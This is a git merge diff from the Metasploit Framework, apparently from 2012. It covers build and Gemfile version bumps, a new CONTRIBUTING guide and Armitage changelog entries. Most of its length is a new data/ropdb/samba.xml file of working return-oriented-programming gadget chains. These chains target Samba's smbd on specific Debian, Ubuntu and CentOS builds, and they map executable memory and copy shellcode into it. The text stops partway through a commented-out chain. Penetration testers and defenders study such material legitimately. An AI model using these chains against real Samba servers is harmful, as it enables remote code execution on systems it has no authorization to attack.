Merge remote-tracking branch 'upstream/master' into wldap32_railgun

unstable
Meatballs1 2012-12-17 17:23:43 +00:00
commit 378038afab
223 changed files with 14629 additions and 1111 deletions

View File

@ -3,10 +3,6 @@ rvm:
- '1.8.7'
- '1.9.3'
matrix:
allow_failures:
- rvm: '1.8.7'
notifications:
irc: "irc.freenode.org#msfnotify"

33
CONTRIBUTING.md Normal file
View File

@ -0,0 +1,33 @@
# Contributing to Metasploit
## Reporting Bugs
If you would like to report a bug, please take a look at [our Redmine
issue
tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420)
-- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle.
If your bug is new and you'd like to report it you will need to
[register
first](https://dev.metasploit.com/redmine/account/register). Don't
worry, it's easy and fun and takes about 30 seconds.
## Contributing Metasploit Modules
If you have an exploit that you'd like to contribute to the Metasploit
Framework, please familiarize yourself with the
**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)**
document in the
Metasploit-Framework repository. There are many mysteries revealed in
HACKING concerning code style and content.
[Pull requests](https://github.com/rapid7/metasploit-framework/pulls)
should corellate with modules at a 1:1 ratio
-- there is rarely a good reason to have two, three, or ten modules on
one pull request, as this dramatically increases the review time
required to land (commit) any of those modules.
Pull requests tend to be very collaborative for Metasploit -- do not be
surprised if your pull request to rapid7/metasploit-framework triggers a
pull request back to your own fork. In this way, we can isolate working
changes before landing your PR to the Metasploit master branch.

View File

@ -23,7 +23,7 @@ end
group :test do
# testing framework
gem 'rspec'
gem 'rspec', '>= 2.12'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
gem 'simplecov', '0.5.4', :require => false

View File

@ -12,46 +12,46 @@ GIT
GEM
remote: http://rubygems.org/
specs:
activemodel (3.2.8)
activesupport (= 3.2.8)
activemodel (3.2.9)
activesupport (= 3.2.9)
builder (~> 3.0.0)
activerecord (3.2.8)
activemodel (= 3.2.8)
activesupport (= 3.2.8)
activerecord (3.2.9)
activemodel (= 3.2.9)
activesupport (= 3.2.9)
arel (~> 3.0.2)
tzinfo (~> 0.3.29)
activesupport (3.2.8)
activesupport (3.2.9)
i18n (~> 0.6)
multi_json (~> 1.0)
arel (3.0.2)
builder (3.0.3)
builder (3.0.4)
coderay (1.0.8)
diff-lcs (1.1.3)
i18n (0.6.1)
method_source (0.8.1)
multi_json (1.3.6)
multi_json (1.0.4)
pg (0.14.1)
pry (0.9.10)
coderay (~> 1.0.5)
method_source (~> 0.8)
slop (~> 3.3.1)
rake (0.9.2.2)
redcarpet (2.1.1)
rspec (2.11.0)
rspec-core (~> 2.11.0)
rspec-expectations (~> 2.11.0)
rspec-mocks (~> 2.11.0)
rspec-core (2.11.1)
rspec-expectations (2.11.3)
rake (10.0.2)
redcarpet (2.2.2)
rspec (2.12.0)
rspec-core (~> 2.12.0)
rspec-expectations (~> 2.12.0)
rspec-mocks (~> 2.12.0)
rspec-core (2.12.1)
rspec-expectations (2.12.0)
diff-lcs (~> 1.1.3)
rspec-mocks (2.11.3)
rspec-mocks (2.12.0)
simplecov (0.5.4)
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
slop (3.3.3)
tzinfo (0.3.33)
yard (0.8.2.1)
tzinfo (0.3.35)
yard (0.8.3)
PLATFORMS
ruby
@ -63,6 +63,6 @@ DEPENDENCIES
pg (>= 0.11)
rake
redcarpet
rspec
rspec (>= 2.12)
simplecov (= 0.5.4)
yard

View File

@ -40,10 +40,11 @@ reading some of the great tutorials online:
Contributing
--
See the [Dev Environment Setup][wiki-devenv] guide on github which will
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
walk you through the whole process starting from installing all the
dependencies, to cloning the repository, and finally to submitting a
pull request.
pull request. For slightly more info, see
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment "Metasploit Development Environment Setup"

Binary file not shown.

Binary file not shown.

View File

@ -1,6 +1,29 @@
Armitage Changelog
==================
26 Nov 12 (tested against msf 16114)
---------
- Windows command shell tab is now friendlier to commands that prompt
for input (e.g., time command)
- [host] -> Meterpreter -> Access -> Escalate Privileges now shows all
the framework's new exploit/windows/local modules too
- [host] -> Shell -> Post Modules now shows the framework's unix/local
and exploit/linux/local modules
- Added Ctrl+I shortcut. Lets you choose a session to interact with.
- Added Steal Token button to Processes dialog.
- Armitage now asks Metasploit for a non-expiring authentication token.
This will prevent Armitage from losing its access to msfrpcd when you
put your computer to sleep or pause the VM running Metasploit.
- add_user and add_[local]group_user now show all of their output when
the -h flag is used to operate on a remote host.
- added a Delete menu to creds table. Right-click a cred to delete it
Cortana Updates (for scripters)
--------
- aliased &data_delete to &data_clear to match the documentation.
- &file_get, &loot_get, and &file_content no longer delete the remote
file when connected to a teamserver.
16 Oct 12 (tested against msf 15972)
---------
- Added port 5985 to MSF Scans list.

Binary file not shown.

Binary file not shown.

BIN
data/exploits/exec_payload.msi Executable file

Binary file not shown.

Binary file not shown.

Binary file not shown.

436
data/ropdb/samba.xml Normal file
View File

@ -0,0 +1,436 @@
<?xml version="1.0" encoding="ISO-8859-1"?>
<db>
<rop>
<compatibility>
<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
</compatibility>
<!--
dpkg -l|grep libgcrypt
ii libgcrypt11 1.4.5-2 LGPL Crypto library - runtime library
b6977000-b69e8000 r-xp 00000000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
b69e8000-b69eb000 rw-p 00070000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
-->
<gadgets base="0">
<gadget offset="0x00004d44">pop ebx ; pop ebp ; ret</gadget>
<gadget offset="0x00071ad4">offset of .got.plt section</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x00063dbf">pop eax; ret</gadget>
<gadget offset="0x00071af4">mmap@got - 4</gadget>
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
<gadget offset="0x00009974">jmp eax</gadget>
<gadget offset="0x00004d41">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off_t </gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0006a761">pop edx ; inc ebx ; ret</gadget>
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
<gadget offset="0x0004159f">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x0005d4c3">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x00060a1a">pop esi ; ret</gadget>
<gadget offset="0x0005c01b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
<gadget offset="0x0003da28">push esp ; and al, 0x0C ; call esi</gadget>
<gadget offset="0x00063dbf">pop eax ; ret</gadget>
<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
<gadget offset="0x000538c4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x00055743">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
<gadget offset="0x00063dbf">pop eax; ret</gadget>
<gadget offset="0x00071b6c">memcpy@got - 4</gadget>
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
<gadget offset="0x00055743">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<!-- set ecx to same value than edx -->
<gadget offset="0x0006e61f">xchg eax, esi ; ret || save eax</gadget>
<gadget offset="0x00063dbf">pop eax; ret</gadget>
<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
<gadget offset="0x0005c914"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x0006e61f"> xchg eax, esi ; ret ; || restore eax</gadget>
<gadget offset="0x00060a1a">pop esi ; ret</gadget>
<gadget offset="0x00071ad4">esi = offset of .got.plt section</gadget>
<gadget offset="0x00008505">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x00004d0c">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x0005b68a">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
</compatibility>
<!--
dpkg -l|grep libgcr
ii libgcrypt11 1.5.0-1 LGPL Crypto library - runtime library
b69e3000-b6a65000 r-xp 00000000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
b6a65000-b6a66000 r**p 00081000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
b6a66000-b6a68000 rw-p 00082000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
-->
<gadgets base="0">
<gadget offset="0x000048ee">pop ebx ; ret</gadget>
<gadget offset="0x00082ff4">offset of .got.plt section</gadget>
<gadget offset="0x0006933f">pop eax; ret</gadget>
<gadget offset="0x000830a4">mmap@got - 4</gadget>
<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
<gadget offset="0x00007d79">jmp eax</gadget>
<gadget offset="0x00005646">add esp, 0x1C; ret || mmap ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off_t </gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0006fe61">pop edx ; inc ebx ; ret</gadget>
<gadget offset="0x00084000">edx = writable location, in GOT</gadget>
<gadget offset="0x00046dcd">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; ret || save EAX (mmaped addr) in GOT</gadget>
<gadget offset="0x00008532">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x000438ad">mov eax, ecx ; pop ebp ; ret</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x000056e8">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x0006933f">pop eax ; ret</gadget>
<gadget offset="0x00084100">eax = writable location, in GOT</gadget>
<gadget offset="0x000048ee">pop ebx ; ret</gadget>
<gadget offset="0x00084100">ebx = writable location, in GOT</gadget>
<gadget offset="0x0004cccf">push esp ; add dword [eax], eax ; add byte [ebx+0x5E], bl ; pop edi ; pop ebp ; ret || edi = esp</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x00020bad">mov eax, edi ; pop ebx ; pop esi ; pop edi ; ret</gadget>
<gadget value ="0x00000000">junk for ebx</gadget>
<gadget value ="0x00000048">esi = value to add to esp to point to shellcode</gadget>
<gadget value ="0x00000000">junk for edi</gadget>
<gadget offset="0x0001ffef">xchg eax, ebx ; ret</gadget>
<gadget offset="0x0000c39c">add ebx, esi ; ret || ebx = esp + XX == src in memcpy</gadget>
<gadget offset="0x0006933f">pop eax; ret</gadget>
<gadget offset="0x00083024">memcpy@got - 4</gadget>
<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
<gadget offset="0x0001ffef">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<gadget offset="0x00004803">pop esi ; ret</gadget>
<gadget offset="0x00082ff4">esi = offset of .got.plt section</gadget>
<gadget offset="0x00007af3">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x000104c5">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x0001fdfa">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2</target>
</compatibility>
<!--
dpkg -l|grep libgcr
ii libgcrypt11 1.4.6-4ubuntu2 LGPL Crypto library - runtime library
b69f8000-b6a69000 r-xp 00000000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
b6a69000-b6a6a000 r**p 00070000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
b6a6a000-b6a6c000 rw-p 00071000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
we arrive on rop chain with pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
4 first pops are after pop esp
-->
<gadgets base="0">
<gadget offset="0x00071ff4">ebx = offset of .got.plt section</gadget>
<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x000641ff">pop eax; ret</gadget>
<gadget offset="0x00072010">mmap@got - 4</gadget>
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
<gadget offset="0x00007f19">jmp eax</gadget>
<gadget offset="0x000046b1">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off_t </gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
<gadget offset="0x00041b85">mov dword [edx], eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0005822d">esi = pop ebx ; pop esi ; pop edi ; ret</gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0005d903">xchg eax, edx ; ret || edx = eax , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x00043cd5">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000008 ; call esi || after call, esi = esp </gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x00005c60">xchg eax, esi ; ret</gadget>
<gadget offset="0x0005c45c">pop ecx ; ret</gadget>
<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
<gadget offset="0x00053dc4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || ebx = src in memcpy</gadget>
<gadget offset="0x000641ff">pop eax; ret</gadget>
<gadget offset="0x00072ffc">writable add in GOT - 4</gadget>
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = mmaped addr</gadget>
<gadget offset="0x0005cd54">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x000641ff">pop eax; ret</gadget>
<gadget offset="0x0007204c">memcpy@got - 4</gadget>
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<gadget offset="0x00060e5a">pop esi ; ret</gadget>
<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
<gadget offset="0x00007d05">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x0005822d">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x0005baca">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8</target>
</compatibility>
<!--
dpkg -l|grep libgcrypt
ii libgcrypt11 1.4.5-2ubuntu1 LGPL Crypto library - runtime library
b6a20000-b6a91000 r-xp 00000000 08:01 17247 /lib/libgcrypt.so.11.5.3
b6a91000-b6a92000 r**p 00070000 08:01 17247 /lib/libgcrypt.so.11.5.3
b6a92000-b6a94000 rw-p 00071000 08:01 17247 /lib/libgcrypt.so.11.5.3
-->
<gadgets base="0">
<gadget offset="0x00004634">pop ebx ; pop ebp ; ret</gadget>
<gadget offset="0x00071ff4">offset of .got.plt section</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x0006421f">pop eax; ret</gadget>
<gadget offset="0x00072010">mmap@got - 4</gadget>
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
<gadget offset="0x0000922c">jmp eax</gadget>
<gadget offset="0x00004631">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off_t </gadget>
<gadget value ="0x00000000">junk to be skipped over</gadget>
<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
<gadget offset="0x000417af">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x0005d923">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x00060e7a">pop esi ; ret</gadget>
<gadget offset="0x0005c47b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
<gadget offset="0x0003dbd8">push esp ; and al, 0x0C ; call esi</gadget>
<gadget offset="0x0006421f">pop eax ; ret</gadget>
<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
<gadget offset="0x00053c64">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x00043999">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
<gadget offset="0x0006421f">pop eax; ret</gadget>
<gadget offset="0x00072094">memcpy@got - 4</gadget>
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
<gadget offset="0x00043999">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<!-- set ecx to same value than edx -->
<gadget offset="0x0006ea7f">xchg eax, esi ; ret || save eax</gadget>
<gadget offset="0x0006421f">pop eax; ret</gadget>
<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
<gadget offset="0x0005cd74"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x0006ea7f"> xchg eax, esi ; ret ; || restore eax</gadget>
<gadget offset="0x00060e7a">pop esi ; ret</gadget>
<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
<gadget offset="0x00007e05">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x00058245">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x000128cc">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
</rop>
<rop>
<compatibility>
<target>3.5.10-0.107.el5 on CentOS 5</target>
</compatibility>
<!--
yum list |grep libgcrypt
libgcrypt.i386 1.4.4-5.el5 installed
02c63000-02ce1000 r-xp 00000000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
02ce1000-02ce4000 rwxp 0007d000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
section is writable and executable, we'll copy the shellcode over there instead of using mmap
-->
<gadgets base="0">
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
<gadget offset="0x0005e842">pop eax ; pop ebx ; pop esi ; pop edi ; ret || eax = ret eip from call esi, ebx = esp, esi = edi = junk</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x00028374">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000007 ; call esi</gadget>
<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
<gadget offset="0x00062c29">xchg eax, ebx ; ret || eax = esp</gadget>
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
<gadget offset="0x0005a44d">add ecx, eax ; mov eax, ecx ; ret || eax = ecx = shellcode</gadget>
<gadget offset="0x0006f5a1">pop edx ; inc ebx ; ret || set edx = to dst in memcpy for ret after pushad</gadget>
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
<gadget offset="0x0006a73f">pop eax ; ret</gadget>
<gadget offset="0x0007effc">memcpy@got - 4</gadget>
<gadget offset="0x00015e47">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
<gadget offset="0x00062c29">xchg eax, ebx ; ret || ebx = @memcpy</gadget>
<gadget offset="0x0001704e">mov eax, ecx ; ret || eax = ecx = src in memcpy</gadget>
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
<gadget offset="0x0007ef54">esi = offset of .got.plt section</gadget>
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
<gadget offset="0x00080800">offset of writable/executable memory (last 0x800 bytes)</gadget>
<gadget offset="0x00007a2b">pop edi ; pop ebp ** 1 **; ret</gadget>
<gadget offset="0x00004276">(P) pop ebx ; pop esi ; pop ebp ; ret</gadget>
<gadget value ="0x00000000">junk for ebp **1**</gadget>
<gadget offset="0x0006200a">pushad ; ret</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
</rop>
<!-- ROP CHAIN for smbd 2:3.5.11~dfsg-1ubuntu2
<compatibility>
<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
</compatibility>
<gadgets base="0">
<gadget offset="0x0000f3b1">pop eax; ret</gadget>
<gadget offset="0x00991ff0">mmap64@got</gadget>
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
<gadget offset="0x008c8997">jmp eax</gadget>
<gadget offset="0x0009ee21">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
<gadget offset="0x0034fbd2">pop edx ; ret</gadget>
<gadget offset="0x0099a000">edx = writable location, in GOT</gadget>
<gadget offset="0x0034c2bc">mov dword [edx], eax ; ret; || save EAX (mmaped addr) in GOT</gadget>
<gadget offset="0x001fc04c">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x000a1d24">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x001e0d59">push esp ; pop ebx ; pop esi ; ret || ebx = esp</gadget>
<gadget value ="0x00000000">junk for esi</gadget>
<gadget offset="0x0036fd9a">pop ebp ; ret</gadget>
<gadget value ="0x00000034">value to add to esp to point to shellcode</gadget>
<gadget offset="0x001a73b2">add ebx, ebp ; ret || ebx = src in memcpy</gadget>
<gadget offset="0x0008c5ac">pop eax; ret</gadget>
<gadget offset="0x00991904">memcpy@got</gadget>
<gadget offset="0x002f3ea4">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
<gadget offset="0x001726b5">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<gadget offset="0x006a3bba">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x000b64ec">add esp, 0x4 ; pop esi ; pop edi ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x0002ab2c">pushad, ret</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
ROP CHAIN for smbd 2:3.5.8~dfsg-1ubuntu2
<compatibility>
<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
</compatibility>
<gadgets base="0">
<gadget offset="0x0000f445">pop eax; ret</gadget>
<gadget offset="0x008c1008">mmap64@got</gadget>
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @mmap64</gadget>
<gadget offset="0x0009e8e4">jmp eax</gadget>
<gadget offset="0x0009db61">add esp, 0x14; pop ebx; pop ebp; ret || mmap64 ret, skip overt mmap arguments</gadget>
<gadget value ="0x00000000">mmap arg : addr</gadget>
<gadget value ="0x00001000">mmap arg : size</gadget>
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 1</gadget>
<gadget value ="0x00000000">mmap arg : off64_t part 2</gadget>
<gadget offset="0x001f6142">pop edx ; ret</gadget>
<gadget offset="0x008c9000">edx = writable location, in GOT</gadget>
<gadget offset="0x00347b8c">mov dword [edx], eax ; pop ebp ; ret; || save EAX (mmaped addr) in GOT</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x0021d553">mov ecx, eax; mov eax, ecx; ret || ecx = MMAPed addr, dst in memcpy</gadget>
<gadget offset="0x001b1fe0">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
<gadget offset="0x000e817f">push esp ; pop ebx ; pop ebp ; ret || ebx = esp</gadget>
<gadget value ="0x00000000">junk for ebp</gadget>
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = esp</gadget>
<gadget offset="0x00277540">pop ebp ; ret</gadget>
<gadget value ="0x0000003c">value to add to esp to point to shellcode</gadget>
<gadget offset="0x0011d3a6">add eax, ebp ; mov ebx, 0x81FFF807 ; ret </gadget>
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
<gadget offset="0x0000f445">pop eax; ret</gadget>
<gadget offset="0x008c0964">memcpy@got</gadget>
<gadget offset="0x00348bb7">mov eax, dword [eax] ; ret || eax = @memcpy</gadget>
<gadget offset="0x0000cdea">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
<gadget offset="0x0009ee99">pop edi ; pop ebp **1** ; ret</gadget>
<gadget offset="0x00148cc6">add esp, 0x4 ; pop esi ; pop ebp ; ret || with pushad, will permit ret on ebx == memcpy</gadget>
<gadget value ="0x00000000">junk for ebp **1** </gadget>
<gadget offset="0x0000dbcf">pushad, ret</gadget>
<gadget value ="size">payload size</gadget>
</gadgets>
-->
<!-- ROP CHAIN for smbd 2:3.5.6~dfsg-3squeeze6
<compatibility
<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
</compatibility>
<gadgets base="0">
<gadget offset="0x00021cd9">pop eax; ret</gadget>
